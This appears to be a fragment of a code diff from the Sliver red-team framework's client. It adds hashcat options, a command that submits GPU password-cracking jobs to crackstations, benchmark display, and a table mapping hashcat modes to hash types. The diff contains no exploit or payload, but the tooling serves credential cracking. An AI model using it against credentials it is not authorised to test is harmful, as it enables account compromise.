f.String("hash-type", "", "hashcat hash type (number or enum name)")
f.StringSlice("hash", nil, "hashes to crack (repeatable)")
f.Bool("quiet", false, "quiet mode")
f.Bool("hex-charset", false, "treat charset as hex")
f.Bool("hex-salt", false, "treat salt as hex")
f.Bool("hex-wordlist", false, "treat wordlist as hex")
f.Bool("force", false, "ignore warnings")
f.Bool("deprecated-check-disable", false, "disable deprecated check")
f.Bool("status", false, "enable status")
f.Bool("status-json", false, "emit status in JSON")
f.Uint32("status-timer", 0, "status timer interval (seconds)")
f.Uint32("stdin-timeout-abort", 0, "abort after stdin timeout (seconds)")
f.Bool("machine-readable", false, "machine readable output")
f.Bool("keep-guessing", false, "keep guessing")
f.Bool("self-test-disable", false, "disable self-test")
f.Bool("loopback", false, "use loopback mode")
f.String("markov-hcstat2", "", "markov hcstat2 filename or identifier")
f.Bool("markov-disable", false, "disable markov mode")
f.Bool("markov-classic", false, "use classic markov")
f.Bool("markov-inverse", false, "use inverse markov")
f.Uint32("markov-threshold", 0, "markov threshold")
f.Uint32("runtime", 0, "runtime in seconds")
f.String("session", "", "session name")
f.Bool("restore", false, "restore session")
f.Bool("restore-disable", false, "disable restore")
f.String("restore-file", "", "restore file path or identifier")
f.StringSlice("outfile-format", nil, "outfile formats (hash-salt, plain, hex-plain, crack-pos, timestamp-absolute, timestamp-relative, or numeric)")
f.Bool("outfile-autohex-disable", false, "disable outfile autohex")
f.Uint32("outfile-check-timer", 0, "outfile check timer interval (seconds)")
f.Bool("wordlist-autohex-disable", false, "disable wordlist autohex")
f.String("separator", "", "separator character")
f.Bool("stdout", false, "stdout output")
f.Bool("show", false, "show cracked hashes")
f.Bool("left", false, "show uncracked hashes")
f.Bool("username", false, "enable username handling")
f.Bool("remove", false, "remove cracked hashes")
f.Uint32("remove-timer", 0, "remove timer interval (seconds)")
f.Bool("potfile-disable", false, "disable potfile")
f.String("potfile", "", "potfile path or identifier")
f.String("encoding-from", "", "input encoding (iso-8859-15, utf-32le, or numeric)")
f.String("encoding-to", "", "output encoding (iso-8859-15, utf-32le, or numeric)")
f.Uint32("debug-mode", 0, "debug mode mask")
f.Bool("logfile-disable", false, "disable logfile")
f.Uint32("hccapx-message-pair", 0, "hccapx message pair")
f.Uint32("nonce-error-corrections", 0, "nonce error corrections")
f.String("keyboard-layout-mapping", "", "keyboard layout mapping file or identifier")
f.Bool("benchmark", false, "run benchmark")
f.Bool("benchmark-all", false, "run full benchmark")
f.Bool("speed-only", false, "show speed only")
f.Bool("progress-only", false, "show progress only")
f.Uint32("segment-size", 0, "segment size")
f.Uint32("bitmap-min", 0, "bitmap min")
f.Uint32("bitmap-max", 0, "bitmap max")
f.UintSlice("cpu-affinity", nil, "CPU affinity list")
f.Uint32("hook-threads", 0, "hook threads")
f.Bool("hash-info", false, "show hash information")
f.Bool("backend-ignore-cuda", false, "ignore CUDA backend")
f.Bool("backend-ignore-hip", false, "ignore HIP backend")
f.Bool("backend-ignore-metal", false, "ignore Metal backend")
f.Bool("backend-ignore-opencl", false, "ignore OpenCL backend")
f.Bool("backend-info", false, "show backend info")
f.UintSlice("backend-devices", nil, "backend device IDs")
f.UintSlice("opencl-device-types", nil, "OpenCL device types")
f.Bool("optimized-kernel-enable", false, "enable optimized kernels")
f.Bool("multiply-accel-disabled", false, "disable multiply accel")
f.String("workload-profile", "", "workload profile (low, default, high, nightmare, or numeric)")
f.Uint32("kernel-accel", 0, "kernel acceleration")
f.Uint32("kernel-loops", 0, "kernel loops")
f.Uint32("kernel-threads", 0, "kernel threads")
f.Uint32("backend-vector-width", 0, "backend vector width")
f.Uint32("spin-damp", 0, "spin damp")
f.Bool("hwmon-disable", false, "disable hardware monitoring")
f.Uint32("hwmon-temp-abort", 0, "hardware monitor temperature abort")
f.Uint32("scrypt-tmto", 0, "scrypt tmto")
f.Uint64("skip", 0, "skip count")
f.Uint64("limit", 0, "limit count")
f.Bool("keyspace", false, "show keyspace")
f.String("rules-file", "", "rules file path or identifier")
f.Uint32("generate-rules", 0, "generate rules")
f.Uint32("generate-rules-fun-min", 0, "generate rules function min")
f.Uint32("generate-rules-fun-max", 0, "generate rules function max")
f.String("generate-rules-func-sel", "", "generate rules function selection")
f.Int32("generate-rules-seed", 0, "generate rules seed")
f.String("custom-charset1", "", "custom charset 1")
f.String("custom-charset2", "", "custom charset 2")
f.String("custom-charset3", "", "custom charset 3")
f.String("custom-charset4", "", "custom charset 4")
f.String("identify", "", "identify hash")
f.Bool("increment", false, "incremental mode")
f.Uint32("increment-min", 0, "increment min")
f.Uint32("increment-max", 0, "increment max")
f.Bool("slow-candidates", false, "slow candidates")
f.Bool("brain-server", false, "brain server mode")
f.Uint32("brain-server-timer", 0, "brain server timer")
f.Bool("brain-client", false, "brain client mode")
f.String("brain-client-features", "", "brain client features")
f.String("brain-host", "", "brain host")
f.Uint32("brain-port", 0, "brain port")
f.String("brain-password", "", "brain password")
f.String("brain-session", "", "brain session")
f.String("brain-session-whitelist", "", "brain session whitelist")
}
+52 -9
View File
@@ -22,6 +22,7 @@ import (
"context"
"fmt"
"sort"
"time"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
@@ -34,6 +35,37 @@ import (
// CrackCmd - GPU password cracking interface
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if shouldRunCrack(cmd, args) {
crackCmd, err := buildCrackCommand(cmd, args)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
ctx := context.Background()
if timeoutSeconds > 0 {
var cancel context.CancelFunc
ctx, cancel = context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
defer cancel()
}
resp, err := con.Rpc.Crack(ctx, crackCmd)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if resp == nil || resp.Job == nil {
con.PrintInfof("Crack request submitted\n")
return
}
con.PrintInfof("Crack job %s created (status: %s)\n", resp.Job.ID, resp.Job.Status.String())
if resp.Job.Err != "" {
con.PrintErrorf("Crack job error: %s\n", resp.Job.Err)
}
return
}
if !AreCrackersOnline(con) {
PrintNoCrackstations(con)
} else {
@@ -64,10 +96,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
con.PrintErrorf("%s\n", err)
return
}
showBenchmarks, _ := cmd.Flags().GetBool("show-benchmarks")
if len(crackers.Crackstations) == 0 {
PrintNoCrackstations(con)
} else {
PrintCrackers(crackers.Crackstations, con)
PrintCrackers(crackers.Crackstations, con, showBenchmarks)
}
}
@@ -83,12 +116,12 @@ func AreCrackersOnline(con *console.SliverClient) bool {
return len(crackers.Crackstations) > 0
}
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool) {
sort.Slice(crackers, func(i, j int) bool {
return crackers[i].Name < crackers[j].Name
})
for index, cracker := range crackers {
printCracker(cracker, index, con)
printCracker(cracker, index, con, showBenchmarks)
if index < len(crackers)-1 {
con.Println()
con.Println()
@@ -96,7 +129,7 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient)
}
}
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
@@ -131,8 +164,10 @@ func printCracker(cracker *clientpb.Crackstation, index int, con *console.Sliver
}
}
con.Printf("%s\n", tw.Render())
con.Println()
printBenchmarks(cracker, con)
if showBenchmarks {
con.Println()
printBenchmarks(cracker, con)
}
}
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
@@ -140,9 +175,17 @@ func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient)
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
for hashType, speed := range cracker.Benchmarks {
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
if len(cracker.Benchmarks) == 0 {
tw.AppendRow(table.Row{"No benchmarks reported", "-"})
} else {
for hashType, speed := range cracker.Benchmarks {
name, ok := hashcatHashTypeName(hashType)
if !ok {
name = clientpb.HashType(hashType).String()
}
tw.AppendRow(table.Row{name, humanizeHashRate(speed)})
}
}
con.Printf("%s\n", tw.Render())
}
+419
View File
@@ -0,0 +1,419 @@
package crack
import "fmt"
// Hashcat mode names sourced from client/credentials/EXAMPLES.md.
var hashcatHashTypes = map[int32]string{
0: "MD5",
10: "md5($pass.$salt)",
11: "Joomla < 2.5.18",
12: "PostgreSQL",
20: "md5($salt.$pass)",
21: "osCommerce, xt:Commerce",
22: "Juniper NetScreen/SSG (ScreenOS)",
23: "Skype",
24: "SolarWinds Serv-U",
30: "md5(utf16le($pass).$salt)",
40: "md5($salt.utf16le($pass))",
50: "HMAC-MD5 (key = $pass)",
60: "HMAC-MD5 (key = $salt)",
70: "md5(utf16le($pass))",
100: "SHA1",
101: "nsldap, SHA-1(Base64), Netscape LDAP SHA",
110: "sha1($pass.$salt)",
111: "nsldaps, SSHA-1(Base64), Netscape LDAP SSHA",
112: "Oracle S: Type (Oracle 11+)",
120: "sha1($salt.$pass)",
121: "SMF (Simple Machines Forum) > v1.1",
122: "macOS v10.4, macOS v10.5, macOS v10.6",
123: "EPi",
124: "Django (SHA-1)",
125: "ArubaOS",
130: "sha1(utf16le($pass).$salt)",
131: "MSSQL (2000)",
132: "MSSQL (2005)",
133: "PeopleSoft",
140: "sha1($salt.utf16le($pass))",
141: "Episerver 6.x < .NET 4",
150: "HMAC-SHA1 (key = $pass)",
160: "HMAC-SHA1 (key = $salt)",
170: "sha1(utf16le($pass))",
190: "sha1(LinkedIn)",
200: "MySQL323",
300: "MySQL4.1/MySQL5",
400: "phpass, phpBB3 (MD5)",
500: "md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)",
501: "Juniper IVE",
600: "BLAKE2b-512",
900: "MD4",
1000: "NTLM",
1100: "Domain Cached Credentials (DCC), MS Cache",
1300: "SHA2-224",
1400: "SHA2-256",
1410: "sha256($pass.$salt)",
1411: "SSHA-256(Base64), LDAP {SSHA256}",
1420: "sha256($salt.$pass)",
1421: "hMailServer",
1430: "sha256(utf16le($pass).$salt)",
1431: "base64(sha256(unicode($pass)))",
1440: "sha256($salt.utf16le($pass))",
1441: "Episerver 6.x >= .NET 4",
1450: "HMAC-SHA256 (key = $pass)",
1460: "HMAC-SHA256 (key = $salt)",
1470: "sha256(utf16le($pass))",
1500: "descrypt, DES (Unix), Traditional DES",
1600: "Apache $apr1$ MD5, md5apr1, MD5 (APR)",
1700: "SHA2-512",
1710: "sha512($pass.$salt)",
1711: "SSHA-512(Base64), LDAP {SSHA512}",
1720: "sha512($salt.$pass)",
1722: "macOS v10.7",
1730: "sha512(utf16le($pass).$salt)",
1731: "MSSQL (2012, 2014)",
1740: "sha512($salt.utf16le($pass))",
1750: "HMAC-SHA512 (key = $pass)",
1760: "HMAC-SHA512 (key = $salt)",
1770: "sha512(utf16le($pass))",
1800: "sha512crypt $6$, SHA512 (Unix)",
2000: "STDOUT",
2100: "Domain Cached Credentials 2 (DCC2), MS Cache 2",
2400: "Cisco-PIX MD5",
2410: "Cisco-ASA MD5",
2500: "WPA-EAPOL-PBKDF2",
2501: "WPA-EAPOL-PMK",
2600: "md5(md5($pass))",
2611: "vBulletin < v3.8.5",
2612: "PHPS",
2711: "vBulletin >= v3.8.5",
2811: "MyBB 1.2+, IPB2+ (Invision Power Board)",
3000: "LM",
3100: "Oracle H: Type (Oracle 7+)",
3200: "bcrypt $2\\*$, Blowfish (Unix)",
3300: "MD5(Sun)",
3500: "md5(md5(md5($pass)))",
3610: "md5(md5($salt).$pass )",
3710: "md5($salt.md5($pass))",
3711: "MediaWiki B type",
3720: "md5($pass.md5($salt))",
3721: "WebEdition CMS",
3800: "md5($salt.$pass.$salt)",
3910: "md5(md5($pass).md5($salt))",
4010: "md5($salt.md5($salt.$pass))",
4110: "md5($salt.md5($pass.$salt))",
4210: "md5($username.0.$pass)",
4300: "md5(strtoupper(md5($pass)))",
4400: "md5(sha1($pass))",
4500: "sha1(sha1($pass))",
4510: "sha1(sha1($pass).$salt)",
4520: "sha1($salt.sha1($pass))",
4521: "Redmine",
4522: "PunBB",
4600: "sha1(sha1(sha1($pass)))",
4700: "sha1(md5($pass))",
4710: "sha1(md5($pass).$salt)",
4711: "Huawei sha1(md5($pass).$salt)",
4800: "iSCSI CHAP authentication, MD5(CHAP)",
4900: "sha1($salt.$pass.$salt)",
5000: "sha1(sha1($salt.$pass.$salt))",
5100: "Half MD5",
5200: "Password Safe v3",
5300: "IKE-PSK MD5",
5400: "IKE-PSK SHA1",
5500: "NetNTLMv1 / NetNTLMv1+ESS",
5600: "NetNTLMv2",
5700: "Cisco-IOS type 4 (SHA256)",
5800: "Samsung Android Password/PIN",
6000: "RIPEMD-160",
6100: "Whirlpool",
6211: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish",
6212: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
6213: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
6221: "TrueCrypt 5.0+ SHA512 + AES / TrueCrypt 5.0+ SHA512 + Serpent / TrueCrypt 5.0+ SHA512 + Twofish",
6222: "TrueCrypt 5.0+ SHA512 + AES-Twofish / TrueCrypt 5.0+ SHA512 + Serpent-AES / TrueCrypt 5.0+ SHA512 + Twofish-Serpent",
6223: "TrueCrypt 5.0+ SHA512 + AES-Twofish-Serpent / TrueCrypt 5.0+ SHA512 + Serpent-Twofish-AES",
6231: "TrueCrypt 5.0+ Whirlpool + AES / TrueCrypt 5.0+ Whirlpool + Serpent / TrueCrypt 5.0+ Whirlpool + Twofish",
6232: "TrueCrypt 5.0+ Whirlpool + AES-Twofish / TrueCrypt 5.0+ Whirlpool + Serpent-AES / TrueCrypt 5.0+ Whirlpool + Twofish-Serpent",
6233: "TrueCrypt 5.0+ Whirlpool + AES-Twofish-Serpent / TrueCrypt 5.0+ Whirlpool + Serpent-Twofish-AES",
6241: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish + boot",
6242: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent + boot",
6243: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES + boot",
6300: "AIX {smd5}",
6400: "AIX {ssha256}",
6500: "AIX {ssha512}",
6600: "1Password, agilekeychain",
6700: "AIX {ssha1}",
6800: "LastPass + LastPass sniffed",
6900: "GOST R 34.11-94",
7000: "FortiGate (FortiOS)",
7100: "macOS v10.8+ (PBKDF2-SHA512)",
7200: "GRUB 2",
7300: "IPMI2 RAKP HMAC-SHA1",
7400: "sha256crypt $5$, SHA256 (Unix)",
7401: "MySQL $A$ (sha256crypt)",
7500: "Kerberos 5, etype 23, AS-REQ Pre-Auth",
7700: "SAP CODVN B (BCODE)",
7701: "SAP CODVN B (BCODE) from RFC_READ_TABLE",
7800: "SAP CODVN F/G (PASSCODE)",
7801: "SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE",
7900: "Drupal7",
8000: "Sybase ASE",
8100: "Citrix NetScaler (SHA1)",
8200: "1Password, cloudkeychain",
8300: "DNSSEC (NSEC3)",
8400: "WBB3 (Woltlab Burning Board)",
8500: "RACF",
8600: "Lotus Notes/Domino 5",
8700: "Lotus Notes/Domino 6",
8800: "Android FDE <= 4.3",
8900: "scrypt",
9000: "Password Safe v2",
9100: "Lotus Notes/Domino 8",
9200: "Cisco-IOS $8$ (PBKDF2-SHA256)",
9300: "Cisco-IOS $9$ (scrypt)",
9400: "MS Office 2007",
9500: "MS Office 2010",
9600: "MS Office 2013",
9700: "MS Office <= 2003 MD5 + RC4, oldoffice$0, oldoffice$1",
9710: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #1",
9720: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #2",
9800: "MS Office <= 2003 SHA1 + RC4, oldoffice$3, oldoffice$4",
9810: "MS Office <= 2003 $3, SHA1 + RC4, collider #1",
9820: "MS Office <= 2003 $3, SHA1 + RC4, collider #2",
9900: "Radmin2",
10000: "Django (PBKDF2-SHA256)",
10100: "SipHash",
10200: "CRAM-MD5",
10300: "SAP CODVN H (PWDSALTEDHASH) iSSHA-1",
10400: "PDF 1.1 - 1.3 (Acrobat 2 - 4)",
10410: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1",
10420: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2",
10500: "PDF 1.4 - 1.6 (Acrobat 5 - 8)",
10600: "PDF 1.7 Level 3 (Acrobat 9)",
10700: "PDF 1.7 Level 8 (Acrobat 10 - 11)",
10800: "SHA2-384",
10810: "sha384($pass.$salt)",
10820: "sha384($salt.$pass)",
10830: "sha384(utf16le($pass).$salt)",
10840: "sha384($salt.utf16le($pass))",
10870: "sha384(utf16le($pass))",
10900: "PBKDF2-HMAC-SHA256",
10901: "RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)",
11000: "PrestaShop",
11100: "PostgreSQL CRAM (MD5)",
11200: "MySQL CRAM (SHA1)",
11300: "Bitcoin/Litecoin wallet.dat",
11400: "SIP digest authentication (MD5)",
11500: "CRC32",
11600: "7-Zip",
11700: "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
11750: "HMAC-Streebog-256 (key = $pass), big-endian",
11760: "HMAC-Streebog-256 (key = $salt), big-endian",
11800: "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
11850: "HMAC-Streebog-512 (key = $pass), big-endian",
11860: "HMAC-Streebog-512 (key = $salt), big-endian",
11900: "PBKDF2-HMAC-MD5",
12000: "PBKDF2-HMAC-SHA1",
12001: "Atlassian (PBKDF2-HMAC-SHA1)",
12100: "PBKDF2-HMAC-SHA512",
12200: "eCryptfs",
12300: "Oracle T: Type (Oracle 12+)",
12400: "BSDi Crypt, Extended DES",
12500: "RAR3-hp",
12600: "ColdFusion 10+",
12700: "Blockchain, My Wallet",
12800: "MS-AzureSync PBKDF2-HMAC-SHA256",
12900: "Android FDE (Samsung DEK)",
13000: "RAR5",
13100: "Kerberos 5, etype 23, TGS-REP",
13200: "AxCrypt 1",
13300: "AxCrypt 1 in-memory SHA1",
13400: "KeePass 1 AES / without keyfile / KeePass 2 AES / without keyfile / KeePass 1 Twofish / with keyfile / Keepass 2 AES / with keyfile",
13500: "PeopleSoft PS_TOKEN",
13600: "WinZip",
13711: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish",
13712: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES-Twofish / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
13713: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
13721: "VeraCrypt PBKDF2-HMAC-SHA512 + AES / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish",
13722: "VeraCrypt PBKDF2-HMAC-SHA512 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish-Serpent",
13723: "VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-Twofish-AES",
13731: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish",
13732: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES-Twofish / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish-Serpent",
13733: "VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-Twofish-AES",
13741: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES",
13742: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish",
13743: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish-Serpent",
13751: "VeraCrypt PBKDF2-HMAC-SHA256 + AES / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish",
13752: "VeraCrypt PBKDF2-HMAC-SHA256 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish-Serpent",
13753: "VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-Twofish-AES",
13761: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + PIM + AES",
13762: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-AES",
13763: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-Twofish-AES",
13771: "VeraCrypt Streebog-512 + XTS 512 bit",
13772: "VeraCrypt Streebog-512 + XTS 1024 bit",
13773: "VeraCrypt Streebog-512 + XTS 1536 bit",
13800: "Windows Phone 8+ PIN/password",
13900: "OpenCart",
14000: "DES (PT = $salt, key = $pass)",
14100: "3DES (PT = $salt, key = $pass)",
14400: "sha1(CX)",
14500: "Linux Kernel Crypto API (2.4)",
14600: "LUKS",
14700: "iTunes backup < 10.0",
14800: "iTunes backup >= 10.0",
14900: "Skip32 (PT = $salt, key = $pass)",
15000: "FileZilla Server >= 0.9.55",
15100: "Juniper/NetBSD sha1crypt",
15200: "Blockchain, My Wallet, V2",
15300: "DPAPI masterkey file v1 + local context",
15400: "ChaCha20",
15500: "JKS Java Key Store Private Keys (SHA1)",
15600: "Ethereum Wallet, PBKDF2-HMAC-SHA256",
15700: "Ethereum Wallet, SCRYPT",
15900: "DPAPI masterkey file v2 + Active Directory domain context",
16000: "Tripcode",
16100: "TACACS+",
16200: "Apple Secure Notes",
16300: "Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256",
16400: "CRAM-MD5 Dovecot",
16500: "JWT (JSON Web Token)",
16600: "Electrum Wallet (Salt-Type 1-3)",
16700: "FileVault 2",
16800: "WPA-PMKID-PBKDF2",
16801: "WPA-PMKID-PMK",
16900: "Ansible Vault",
17200: "PKZIP (Compressed)",
17210: "PKZIP (Uncompressed)",
17220: "PKZIP (Compressed Multi-File)",
17225: "PKZIP (Mixed Multi-File)",
17230: "PKZIP (Mixed Multi-File Checksum-Only)",
17300: "SHA3-224",
17400: "SHA3-256",
17500: "SHA3-384",
17600: "SHA3-512",
17700: "Keccak-224",
17800: "Keccak-256",
17900: "Keccak-384",
18000: "Keccak-512",
18100: "TOTP (HMAC-SHA1)",
18200: "Kerberos 5, etype 23, AS-REP",
18300: "Apple File System (APFS)",
18400: "Open Document Format (ODF) 1.2 (SHA-256, AES)",
18500: "sha1(md5(md5($pass)))",
18600: "Open Document Format (ODF) 1.1 (SHA-1, Blowfish)",
18700: "Java Object hashCode()",
18800: "Blockchain, My Wallet, Second Password (SHA256)",
18900: "Android Backup",
19000: "QNX /etc/shadow (MD5)",
19100: "QNX /etc/shadow (SHA256)",
19200: "QNX /etc/shadow (SHA512)",
19300: "sha1($salt1.$pass.$salt2)",
19500: "Ruby on Rails Restful-Authentication",
19600: "Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96)",
19700: "Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)",
19800: "Kerberos 5, etype 17, Pre-Auth",
19900: "Kerberos 5, etype 18, Pre-Auth",
20011: "DiskCryptor SHA512 + XTS 512 bit (AES) / DiskCryptor SHA512 + XTS 512 bit (Twofish) / DiskCryptor SHA512 + XTS 512 bit (Serpent)",
20012: "DiskCryptor SHA512 + XTS 1024 bit (AES-Twofish) / DiskCryptor SHA512 + XTS 1024 bit (Twofish-Serpent) / DiskCryptor SHA512 + XTS 1024 bit (Serpent-AES)",
20013: "DiskCryptor SHA512 + XTS 1536 bit (AES-Twofish-Serpent)",
20200: "Python passlib pbkdf2-sha512",
20300: "Python passlib pbkdf2-sha256",
20400: "Python passlib pbkdf2-sha1",
20500: "PKZIP Master Key",
20510: "PKZIP Master Key (6 byte optimization)",
20600: "Oracle Transportation Management (SHA256)",
20710: "sha256(sha256($pass).$salt)",
20711: "AuthMe sha256",
20720: "sha256($salt.sha256($pass))",
20800: "sha256(md5($pass))",
20900: "md5(sha1($pass).md5($pass).sha1($pass))",
21000: "BitShares v0.x - sha512(sha512_bin(pass))",
21100: "sha1(md5($pass.$salt))",
21200: "md5(sha1($salt).md5($pass))",
21300: "md5($salt.sha1($salt.$pass))",
21400: "sha256(sha256_bin($pass))",
21500: "SolarWinds Orion",
21501: "SolarWinds Orion v2",
21600: "Web2py pbkdf2-sha512",
21700: "Electrum Wallet (Salt-Type 4)",
21800: "Electrum Wallet (Salt-Type 5)",
22000: "WPA-PBKDF2-PMKID+EAPOL",
22001: "WPA-PMK-PMKID+EAPOL",
22100: "BitLocker",
22200: "Citrix NetScaler (SHA512)",
22300: "sha256($salt.$pass.$salt)",
22301: "Telegram Mobile App Passcode (SHA256)",
22400: "AES Crypt (SHA256)",
22500: "MultiBit Classic .key (MD5)",
22600: "Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)",
22700: "MultiBit HD (scrypt)",
22911: "RSA/DSA/EC/OpenSSH Private Keys ($0$)",
22921: "RSA/DSA/EC/OpenSSH Private Keys ($6$)",
22931: "RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)",
22941: "RSA/DSA/EC/OpenSSH Private Keys ($4$)",
22951: "RSA/DSA/EC/OpenSSH Private Keys ($5$)",
23001: "SecureZIP AES-128",
23002: "SecureZIP AES-192",
23003: "SecureZIP AES-256",
23100: "Apple Keychain",
23200: "XMPP SCRAM PBKDF2-SHA1",
23300: "Apple iWork",
23400: "Bitwarden",
23500: "AxCrypt 2 AES-128",
23600: "AxCrypt 2 AES-256",
23700: "RAR3-p (Uncompressed)",
23800: "RAR3-p (Compressed)",
23900: "BestCrypt v3 Volume Encryption",
24100: "MongoDB ServerKey SCRAM-SHA-1",
24200: "MongoDB ServerKey SCRAM-SHA-256",
24300: "sha1($salt.sha1($pass.$salt))",
24410: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)",
24420: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)",
24500: "Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)",
24600: "SQLCipher",
24700: "Stuffit5",
24800: "Umbraco HMAC-SHA1",
24900: "Dahua Authentication MD5",
25300: "MS Office 2016 - SheetProtection",
25400: "PDF 1.4 - 1.6 (Acrobat 5 - 8) - edit password",
25500: "Stargazer Stellar Wallet XLM",
25600: "bcrypt(md5($pass)) / bcryptmd5",
25700: "MurmurHash",
25800: "bcrypt(sha1($pass)) / bcryptsha1",
25900: "KNX IP Secure - Device Authentication Code",
26000: "Mozilla key3.db",
26100: "Mozilla key4.db",
26200: "OpenEdge Progress Encode",
26300: "FortiGate256 (FortiOS256)",
26401: "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
26402: "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
26403: "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
26500: "iPhone passcode (UID key + System Keybag)",
26600: "MetaMask Wallet",
99999: "Plaintext",
}
func hashcatHashTypeName(mode int32) (string, bool) {
name, ok := hashcatHashTypes[mode]
return name, ok
}
func humanizeHashRate(rate uint64) string {
const unit = 1000
if rate < unit {
return fmt.Sprintf("%d H/s", rate)
}
value := float64(rate)
exp := 0
for value >= unit && exp < 5 {
value /= unit
exp++
}
suffixes := []string{"kH/s", "MH/s", "GH/s", "TH/s", "PH/s"}
if exp == 0 {
return fmt.Sprintf("%d H/s", rate)
}
if exp > len(suffixes) {
exp = len(suffixes)
}
return fmt.Sprintf("%.2f %s", value, suffixes[exp-1])
}
+38
View File
@@ -0,0 +1,38 @@
package edit
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
